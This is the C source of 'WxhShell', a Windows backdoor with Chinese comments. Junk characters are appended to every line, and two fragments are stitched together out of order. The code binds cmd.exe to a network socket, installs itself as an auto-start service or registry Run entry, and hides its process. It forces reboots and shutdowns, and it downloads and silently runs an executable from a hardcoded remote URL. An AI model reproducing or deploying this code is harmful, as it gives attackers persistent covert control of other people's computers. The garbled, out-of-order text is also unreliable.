    } h^4oy^9  
  // 关机 ,Tpds^  
  case 'd': { $W)FpN;CW/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?mMd6U&J  
    if(Boot(SHUTDOWN)) l\bBc, %jt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8d]= +n !  
    else { SU:Cm: $  
    closesocket(wsh); .w`8_v&Y  
    ExitThread(0); J{91 t |  
    } kZ2+=/DYN  
    break; eL],\\q  
    } uE>}>6)b  
  // 获取shell tG6 o^  
  case 's': { tcs Z! #  
    CmdShell(wsh); YEGXhn5E  
    closesocket(wsh); BZE19!  
    ExitThread(0); OLv(  
    break; ?/O+5rjA  
  } /OZF3Pft  
  // 退出 c~cYNW:  
  case 'x': { ?x:\RNB/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _)ERi*}x8  
    CloseIt(wsh); #3.\}d)  
    break; ms~ mg:  
    } V'_^g7}l&  
  // 离开 /dCZoz~~T  
  case 'q': { UOq$88sr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Owq_)_ (|  
    closesocket(wsh); `XTu$+  
    WSACleanup(); 3)=$BSC%  
    exit(1); D[<8(~VP  
    break; !j- 7,  
        } >:s:`Au  
  } Qf"gH <vT  
  } [!v:fj  
3ZC[H'|  
  // 提示信息 ^ c:(HUo#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hkpn/,D5  
} U,/>p=s  
  } yNO5h]o  
Y40{v(Pi  
  return; =oSv=xY  
} %lvSO/F+  
[ %r :V"  
// shell模块句柄 b-wFnMXk+  
int CmdShell(SOCKET sock) D:%v((Ccw  
{ (fq>P1-  
STARTUPINFO si; zd+8fP/UB  
ZeroMemory(&si,sizeof(si)); W8\K_M}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "8s0~ [6S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *.20YruU;j  
PROCESS_INFORMATION ProcessInfo; -O{Af  
char cmdline[]="cmd"; =3sBWDB[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &K}!R$[,:P  
  return 0; 2mI=V.X[&  
} 9c<lFZb;  
8K{ TRPy  
// 自身启动模式 WJ=^r@Sf  
int StartFromService(void) KyDQ<Dq&  
{ %3Y&D]  
typedef struct 0,,x|g$TpT  
{ iN_G|w[d  
  DWORD ExitStatus; !J.qH%S5   
  DWORD PebBaseAddress; m7fmQUk  
  DWORD AffinityMask; ze]2-B4  
  DWORD BasePriority; P#6y  
  ULONG UniqueProcessId; 0F)Y[{h<  
  ULONG InheritedFromUniqueProcessId; \9!W^i[+  
}   PROCESS_BASIC_INFORMATION; ;g*ab  
S.BM/M  
PROCNTQSIP NtQueryInformationProcess; 1S<V,9(  
fH>]>2fS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jg#%h`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lQldW|S>  
oC"c%e8  
  HANDLE             hProcess; :FB#,AOa_  
  PROCESS_BASIC_INFORMATION pbi; &p0*:(j  
10{ZW@!7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +:;r} 7Zh  
  if(NULL == hInst ) return 0; _a^%V9t  
y$7<ZBG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9)'L,Xt4:T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m8fxDepFA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UV$v:>K#  
0d~>zKho  
  if (!NtQueryInformationProcess) return 0; 2vT>hC?oHz  
J)6f"{} &  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V`=#j[gX)=  
  if(!hProcess) return 0; h]&8hl_'m  
xn}sh[<:P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Av]<[ F/  
\2@OS6LUe  
  CloseHandle(hProcess); * 3WK`9q  
YeK PoW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nxw]B"Eg  
if(hProcess==NULL) return 0; Z25^+)uf*U  
pS;jrq I#  
HMODULE hMod; j-ZKEA{:1  
char procName[255]; Q&rpW:^v  
unsigned long cbNeeded; `XS6t)!ik  
UJ<eF/KSmG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~Qeyh^wo  
kT t;3Ia  
  CloseHandle(hProcess); ~bhesWk8!  
XTyJ*`>  
if(strstr(procName,"services")) return 1; // 以服务启动 }hv>LL  
ojni+}>_  
  return 0; // 注册表启动 9;NR   
} 7'k+/rAO  
(%D*S_m'  
// 主模块 7g[T#B'/x,  
int StartWxhshell(LPSTR lpCmdLine) F_$eu-y  
{ MPhO#;v  
  SOCKET wsl; dUyit-  
BOOL val=TRUE; K FvNsqd  
  int port=0; I6ffp!^}Y  
  struct sockaddr_in door; 2'$p(  
zVFz}kJa  
  if(wscfg.ws_autoins) Install(); UB|f{7~&  
i!@L`h!rw  
port=atoi(lpCmdLine); c%n[v3]  
<H::{  
if(port<=0) port=wscfg.ws_port; !7]4sXL{  
80U07tJ  
  WSADATA data; LzEs_B=9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >LRt,.hy6  
:)_Ap{9J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |t5K!?{i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y<0 [_+(  
  door.sin_family = AF_INET; LS}dt?78`V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /:iO:g1  
  door.sin_port = htons(port); QK)"-y}"g  
Ew~piuj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,Y6Me+5B  
closesocket(wsl); v,#*%Gn`%  
return 1; =yJJq=!  
} >vF=}1_L  
 A M8bem~  
  if(listen(wsl,2) == INVALID_SOCKET) { o|F RG{TJ  
closesocket(wsl); J39,x=8LL  
return 1; GSj04-T"  
} sN.h>bd  
  Wxhshell(wsl); 4 IuQQ  
  WSACleanup(); C(qqGK{  
uU=O0?'zq  
return 0; ()i8 Qepo}  
l$=Y(Xk  
} n@r'b{2;l  
Q[O[,Rk  
// 以NT服务方式启动 Z6#}6Y{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L?T%;VdG'>  
{ wyvrNru<l4  
DWORD   status = 0; M}MXR=X,  
  DWORD   specificError = 0xfffffff; O:3LA-vA  
~OO&%\$k  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  [R:\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {L^b['h@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K"B2 SsC  
  serviceStatus.dwWin32ExitCode     = 0; \q(DlqTqs  
  serviceStatus.dwServiceSpecificExitCode = 0; H}5zKv.T  
  serviceStatus.dwCheckPoint       = 0; k\rzvo=U  
  serviceStatus.dwWaitHint       = 0; Rl@k~;VV  
Pi7vuOJr8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pV bgjJI  
  if (hServiceStatusHandle==0) return; W=fs"<  
xO"fg9a  
status = GetLastError(); gI a/sD2m>  
  if (status!=NO_ERROR) ?$ T! =e"  
{ c~bi ~ f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tp"dho  
    serviceStatus.dwCheckPoint       = 0; `&]<_Jc1  
    serviceStatus.dwWaitHint       = 0; 'S]7:/CI  
    serviceStatus.dwWin32ExitCode     = status; oVk*G  
    serviceStatus.dwServiceSpecificExitCode = specificError; '_!j9A]g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q[+&n*  
    return; <J" 7ufHSQ  
  } XG2&_u&  
SUwSZ@l^|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (:v|(Gn/  
  serviceStatus.dwCheckPoint       = 0; Qvo(2(  
  serviceStatus.dwWaitHint       = 0; O&h3=?O&B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "e4;xU-  
} p(dJf&D  
+s?0yH-%p  
// 处理NT服务事件,比如:启动、停止 _' KJ:3e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /3`#ldb%}  
{ FrXFm+8 F  
switch(fdwControl) ;T6{J[ h  
{ C":i56  
case SERVICE_CONTROL_STOP: wi]ya\(*yl  
  serviceStatus.dwWin32ExitCode = 0; t:y} 7un  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 $AEh+f  
  serviceStatus.dwCheckPoint   = 0; ernZfd{H  
  serviceStatus.dwWaitHint     = 0; ')ZxWYT O^  
  { Sz4G,c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (s`oJLW>  
  } P6q`i<  
  return; I!'PvIyO  
case SERVICE_CONTROL_PAUSE: R(_UR)G0 @  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <Th) &  
  break; {v{qPYNyh  
case SERVICE_CONTROL_CONTINUE: "f/91gIzm'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  }NX9"}/  
  break; n/*BK;  
case SERVICE_CONTROL_INTERROGATE: /Xa_Xg7  
  break; ^Qrezl&  
}; *j9{+yO{ZE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FgA'X<  
} )c~1s  
<k'JhMwN  
// 标准应用程序主函数 RW19I,d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IO/%X;Y_  
{ 9gFb=&1k  
pdCn98}%-  
// 获取操作系统版本 i=67  
OsIsNt=GetOsVer(); 7g@P$e]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2p'ujAK  
*a }NRf}W  
  // 从命令行安装 fu3~W  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,=o)R,[  
P=v 0|Y*q|  
  // 下载执行文件 L%4[,Rsw  
if(wscfg.ws_downexe) { P%HvL4R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Oa7x(wS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ut"~I)S{LT  
}  -)  
CZE!rpl  
if(!OsIsNt) { =R+z\`2  
// 如果时win9x,隐藏进程并且设置为注册表启动 dMkDNaH,  
HideProc(); MZ" yjQA  
StartWxhshell(lpCmdLine); 2BTFK"=U  
} %{GYTc \'X  
else |M&i#g<A;  
  if(StartFromService()) qm30,$\c`~  
  // 以服务方式启动 Q.SLiI  
  StartServiceCtrlDispatcher(DispatchTable); 8j~:p!@  
else -"*UICd  
  // 普通方式启动 HzADz%~  
  StartWxhshell(lpCmdLine); \;w$"@9  
^H]q[XFR  
return 0; F3k]*pk8w  
} d) V"tSC,  
NyHHK8>  
Z:F5cXt<  
%C&HR2  
=========================================== 2Eq?^ )s  
];@"-H  
|a!AgvNF  
P_:A%T  
dOm`p W^  
Z.9 ?u;  
" aDJ\%  
ziFg+i%s  
#include <stdio.h> B^4D`0G[4  
#include <string.h> Yt^<^l77D  
#include <windows.h> ym*,X@Qg^  
#include <winsock2.h> (#zSVtZ  
#include <winsvc.h> $@ /K/"  
#include <urlmon.h> b-sbRR  
n<Vq@=9AE  
#pragma comment (lib, "Ws2_32.lib") WxNPAJ6YH  
#pragma comment (lib, "urlmon.lib") HK~uu5j  
^a9v5hu  
#define MAX_USER   100 // 最大客户端连接数 D$k<<dvv  
#define BUF_SOCK   200 // sock buffer >:5^4/fo*  
#define KEY_BUFF   255 // 输入 buffer Vs>/q:I  
<sXmk{  
#define REBOOT     0   // 重启 w&6c`az8  
#define SHUTDOWN   1   // 关机 EBF608nWfW  
$i# 1<Qj  
#define DEF_PORT   5000 // 监听端口 @8[3 ]<  
OC0dAxq  
#define REG_LEN     16   // 注册表键长度 8)(<U/  
#define SVC_LEN     80   // NT服务名长度 Xy_ <Yqx}  
r >%reS  
// 从dll定义API Dx<">4   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gQ]WNJ~>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P(z#Wk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8;'fWV? U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z<j(ZVO  
gO C5  
// wxhshell配置信息 li>`9qCmI  
struct WSCFG { O0`k6$=6r  
  int ws_port;         // 监听端口 o+U]=q*|)$  
  char ws_passstr[REG_LEN]; // 口令 1PwqW g-\\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]<3$Sx_{y  
  char ws_regname[REG_LEN]; // 注册表键名 qEd!g,Sx  
  char ws_svcname[REG_LEN]; // 服务名 AEjkqG4qv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5)=XzO0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z4eu'.r-y~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [/.5{|&GSt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iUcDj:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eBZ^YY<*g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hdFIriE3  
L2v j)(  
}; -#yLH  
eK }AVz}k  
// default Wxhshell configuration &<{=  
struct WSCFG wscfg={DEF_PORT, }=kf52Am,}  
    "xuhuanlingzhe", SG6@Rn*^  
    1, A]VcQ_e  
    "Wxhshell", C)2Waj}  
    "Wxhshell", JaC =\\B  
            "WxhShell Service", .gPE Qc+D  
    "Wrsky Windows CmdShell Service", #N`~. 96  
    "Please Input Your Password: ", zP\n<L5  
  1, idL6*%M  
  "http://www.wrsky.com/wxhshell.exe", & w{""'  
  "Wxhshell.exe" kYxb@Zn=|  
    }; M[wd.\ %  
&_Py{Cv@Dw  
// 消息定义模块 e}qG_*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MMs#Y1dH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3q*y~5&I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z<@Kkbj  
char *msg_ws_ext="\n\rExit."; <|= UrG  
char *msg_ws_end="\n\rQuit."; "^A4!.  
char *msg_ws_boot="\n\rReboot..."; 3?Ckk{)&  
char *msg_ws_poff="\n\rShutdown..."; d8 1u  
char *msg_ws_down="\n\rSave to "; f<.43kv@  
d ]LF5*i  
char *msg_ws_err="\n\rErr!"; 5B+>28G%  
char *msg_ws_ok="\n\rOK!"; >Le L%$  
_c}@Fi+E  
char ExeFile[MAX_PATH]; R-Y|;  
int nUser = 0; L4th 7#  
HANDLE handles[MAX_USER]; - i``yf?P  
int OsIsNt; y( M-   
_I;+p eq  
SERVICE_STATUS       serviceStatus; L,Jl# S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /I2RU2|B  
~.4-\M6[  
// 函数声明 TV$Pl[m   
int Install(void); (<?6X9F:N  
int Uninstall(void); V=";vRS8  
int DownloadFile(char *sURL, SOCKET wsh); ?2ZggV  
int Boot(int flag); b-}nv`9C  
void HideProc(void); ^WDAW#f*<  
int GetOsVer(void); )+]8T6~ N  
int Wxhshell(SOCKET wsl); q$vATT  
void TalkWithClient(void *cs); S4RvWTtQV  
int CmdShell(SOCKET sock); *2O4*Q1  
int StartFromService(void); F.P4c:GD  
int StartWxhshell(LPSTR lpCmdLine); !;'. mMO&%  
/]=d Pb%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t7|uZHKK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); odxsF(Q0p  
M{Ss?G4H  
// 数据结构和表定义 J8|F8dcz  
SERVICE_TABLE_ENTRY DispatchTable[] = >*ey 7g  
{ F,0 @z/8a  
{wscfg.ws_svcname, NTServiceMain}, >sAZT:&gv  
{NULL, NULL} %-? :'F!1  
}; tB"amv  
ZKKz?reM'  
// 自我安装 G{*m] 0Q  
int Install(void) bH}6N>Fp  
{ +^% y&8e  
  char svExeFile[MAX_PATH]; FC.d]XA%/d  
  HKEY key; ` aTkIo:ms  
  strcpy(svExeFile,ExeFile); YxH"*)N  
Kp") %p#  
// 如果是win9x系统,修改注册表设为自启动 H\A!oB,sw  
if(!OsIsNt) { &IGTCTBP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jg8j>" Vj>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Mxw0 J  
  RegCloseKey(key); _RG!lmJV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eto3dJ!R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9g3J{pKcZ  
  RegCloseKey(key); YDBQ6X  
  return 0; /60 `"xH  
    } X+;F5b9z  
  } xEBiBsk d  
} V$u~}]z  
else { @-dM'R6C  
Q+/:5Z C  
// 如果是NT以上系统,安装为系统服务 {~DYf*RZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [9f TN2'z  
if (schSCManager!=0) \-k X-Tq  
{ 2kV[A92s  
  SC_HANDLE schService = CreateService aaq{9Y#  
  ( H!U\;ny  
  schSCManager, '| Enc"U  
  wscfg.ws_svcname, <VD^f  
  wscfg.ws_svcdisp, ?qr-t+  
  SERVICE_ALL_ACCESS, XWvT(+J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c-z 2[a8  
  SERVICE_AUTO_START, |B&KT  
  SERVICE_ERROR_NORMAL, G5W6P7-<X  
  svExeFile, UeB8|z  
  NULL, }5gAxR,  
  NULL, z)Xf6&  
  NULL, usiv`.  
  NULL, sGIY\%  
  NULL :A35 ?9E?  
  ); zHi+I 7  
  if (schService!=0) d=%:rLm$  
  { ;=X6pK  
  CloseServiceHandle(schService); t1p}   
  CloseServiceHandle(schSCManager); 6zK8-V?9F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *OU>s;"$  
  strcat(svExeFile,wscfg.ws_svcname); Xv 3u}nPMq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IuDg-M[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0T2h3,  
  RegCloseKey(key); -o\$.Q3  
  return 0; %zE_Q  
    } lcgT9 m#  
  } 96;17h$  
  CloseServiceHandle(schSCManager); xQ4D| &  
} g|*2O}<  
} QjETu  
iMRb` \KH  
return 1; K 1>.%m  
} %]%.{W\j3  
\&\_[y8U  
// 自我卸载 q q}EXq^  
int Uninstall(void) {<~0nLyJS  
{ }J .f 5WaG  
  HKEY key; KN U/Kc#  
U#G[#sd> K  
if(!OsIsNt) { $|.x!sA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j"o`K}C  
  RegDeleteValue(key,wscfg.ws_regname); J 2%^%5&0  
  RegCloseKey(key); |M|'S~z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !!&H'XEJV  
  RegDeleteValue(key,wscfg.ws_regname);  mfOr+   
  RegCloseKey(key); v 1Yf:c  
  return 0; cSCO7L2E18  
  } .58>KBj(  
}  FRI<A8  
} 9 O| "Ws>{  
else { 0'O;H[nrl  
5;{d*L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :)}iWKAse  
if (schSCManager!=0) "!<Kmh5  
{ ) Ph.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~rE U83  
  if (schService!=0) xB:,l'\G  
  { log{jF  
  if(DeleteService(schService)!=0) { .>>@q!!s!  
  CloseServiceHandle(schService); `we2zT  
  CloseServiceHandle(schSCManager); ]d?`3{h9LD  
  return 0; flTK  
  } pc&/'zb  
  CloseServiceHandle(schService); vC~];!^  
  } E :*!an  
  CloseServiceHandle(schSCManager); `+$'bNPn&  
} LNml["   
} -xq)brG  
=zXpeo&|m  
return 1; S!8eY `C.  
} ~Kda#=  
'5wa"/ ?w  
// 从指定url下载文件 uRG0} >]|U  
int DownloadFile(char *sURL, SOCKET wsh) [P)'LY6F  
{ >FPE%X0+  
  HRESULT hr; | Q:$G!/  
char seps[]= "/"; qgrRH'  
char *token; I_.(&hMn  
char *file; `Bx3grZ 7&  
char myURL[MAX_PATH]; QQP bKok>  
char myFILE[MAX_PATH]; !%J;dOcU  
SQ5SvYH  
strcpy(myURL,sURL);  fI[tU(x  
  token=strtok(myURL,seps); YIb5jK `  
  while(token!=NULL) *%(8z~(\  
  { v=nq P{  
    file=token;  =IV_yor  
  token=strtok(NULL,seps);  ])}{GW  
  } 9'3%%o  
q a#Fa)g*  
GetCurrentDirectory(MAX_PATH,myFILE); 6FG h=~{3,  
strcat(myFILE, "\\"); t ),~w,7(J  
strcat(myFILE, file); &W fs6g  
  send(wsh,myFILE,strlen(myFILE),0); <&TAN L  
send(wsh,"...",3,0); iZ#dS}VlJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); raY5 nc{  
  if(hr==S_OK) S$\l M<M  
return 0; owZj Q  
else *#e%3N05_  
return 1; vn3<LQ]  
'#xxjhF^  
} Rct|"k_"Ys  
r~F T,  
// 系统电源模块 Qi2yaEB  
int Boot(int flag) 1"A1bK  
{ 3sc5meSu'  
  HANDLE hToken; G40,KCa  
  TOKEN_PRIVILEGES tkp; NUiZ!&  
\c>9f"jS_  
  if(OsIsNt) { eS fT +UL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C$ oY,A,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l_iucN  
    tkp.PrivilegeCount = 1; 7^'TU=ss_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9>u2; 'Ls  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &#v^y 3r  
if(flag==REBOOT) { A=!&2(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "C.'_H!Ex  
  return 0; xy46].x-  
} wx -NUTRim  
else { z %{>d#rw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mcc774'*9  
  return 0; jVL<7@_*  
} ^"v~hjM#  
  } J|_&3@r  
  else { fJLlz$H  
if(flag==REBOOT) { _IOeO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5^cPG" 4@  
  return 0; 'x<gC"0A  
} X'.}#R1  
else { p.TR1BHw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \$ ^z.  
  return 0; \lCr~D5  
} &}32X-~y  
} UoPd>q4Uj  
l>h%J,W  
return 1; c.6u)"@$  
} rEfk5R  
Ks@S5:9sp  
// win9x进程隐藏模块 \D?6_ ,O  
void HideProc(void) f}^}d"&F  
{ 3!Zd]1$  
l@Ma{*s6=5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &WN4/=QW-J  
  if ( hKernel != NULL ) bB3Mpaw@  
  { /@R|*7K;9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _o~<f)E[9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <8Nh dCO6  
    FreeLibrary(hKernel); }|H]>U&  
  } (`GO@  
v3[Z ]+ ]  
return; gg'lb{oG  
} M|?qSFv:  
(FbqKx'uq  
// 获取操作系统版本 8U0y86q>)E  
int GetOsVer(void) iU9de  
{ OgyETSN8C  
  OSVERSIONINFO winfo; R!W!8rr3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gSEj/?  
  GetVersionEx(&winfo); 0`"]mYH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6g8{;6x  
  return 1; sn_]7d+ Q  
  else YKf,vHau  
  return 0; T({:Y. A;  
} /u!I2DF  
,d)!&y  
// 客户端句柄模块 vrm[sP  
int Wxhshell(SOCKET wsl) h|yv*1/|  
{ G^p>fy~  
  SOCKET wsh; Xw`vf7z*  
  struct sockaddr_in client; @cAv8i K  
  DWORD myID; {,*G }/9<  
;nji<  
  while(nUser<MAX_USER) !EF~I8d\]  
{ go m< V?$  
  int nSize=sizeof(client); Dk&cIZ43  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); );@Dr!H  
  if(wsh==INVALID_SOCKET) return 1; E:4`x_~qQ  
uTA /E9OY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F)j-D(c4  
if(handles[nUser]==0) Fj"g CBaR  
  closesocket(wsh); lDe9(5|)Q  
else tq}sXt  
  nUser++; dc5w_98o  
  } 5,I'6$J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Z+w\0}@  
%lbSV}V)  
  return 0;  IKKd  
} L-^vlP)Vu  
R3d>|`) +  
// 关闭 socket yX$I<L<Suz  
void CloseIt(SOCKET wsh) O;ZU{VY  
{ 7]d396%  
closesocket(wsh); 6LL/wemq  
nUser--; ul/=1]1?  
ExitThread(0); _Z.lr\  
} ;E(gl$c:  
WSn^P~vC  
// 客户端请求句柄 TOn{o}Y B  
void TalkWithClient(void *cs) " _jIqj6C  
{ 8;P8CKe  
'M|W nR  
  SOCKET wsh=(SOCKET)cs; \2U^y4K.  
  char pwd[SVC_LEN]; S h=E.!  
  char cmd[KEY_BUFF]; ,]i ^/fT  
char chr[1]; [5:,+i  
int i,j; @j`_)Y\  
oR5hMu;j+  
  while (nUser < MAX_USER) { Z{EHV7  
f*Xonb  
if(wscfg.ws_passstr) { C<r7d [  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @z#;O2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @SDsd^N{2P  
  //ZeroMemory(pwd,KEY_BUFF); ElZ'/l*\  
      i=0; DOaEz?2)  
  while(i<SVC_LEN) { "V&2 g?  
(BVLlOo?J  
  // 设置超时 'C1=(PE%`  
  fd_set FdRead; =<_xUh.  
  struct timeval TimeOut; Ra'0 ^4t  
  FD_ZERO(&FdRead); K0@2>nR  
  FD_SET(wsh,&FdRead); G`ZpFg0Y  
  TimeOut.tv_sec=8; ve.iyr  
  TimeOut.tv_usec=0; 8U/q3@EC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^*`{W4e]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bEV 9l  
s!~M,zsQN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CCDoiTu!4  
  pwd=chr[0]; pL]C]HGv  
  if(chr[0]==0xd || chr[0]==0xa) { !oLrN/-  
  pwd=0; R,C)|*ef  
  break; 0J_ AX  
  } 5znLpBX<N  
  i++; S59!+V  
    } {W3%n*q  
$7a| 9s0  
  // 如果是非法用户,关闭 socket ::g"dRS<v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `~WxMY0M  
} 8Z4d<DIJ  
8JAA?0L"'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $^.LZ1Jd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d;|e7$F'  
8X!UtHml  
while(1) { /wK5YN.em  
[`_&d7{-4b  
  ZeroMemory(cmd,KEY_BUFF); 6`]R)i]  
/,"Z^=  
      // 自动支持客户端 telnet标准   KwN o/x| v  
  j=0; ?cG+rC%  
  while(j<KEY_BUFF) { r42[pi]F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a_^3:}i~D  
  cmd[j]=chr[0]; f_Y[I :  
  if(chr[0]==0xa || chr[0]==0xd) { n&i WYECz  
  cmd[j]=0; P!,\V\TY]  
  break; #^gn,^QQ  
  } p>Ju)o  
  j++; l,1}1{k&  
    } 9r fR  
j?jEWreq]~  
  // 下载文件 ?g}n$%*5y!  
  if(strstr(cmd,"http://")) { 4};!nYey!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *#+d j"  
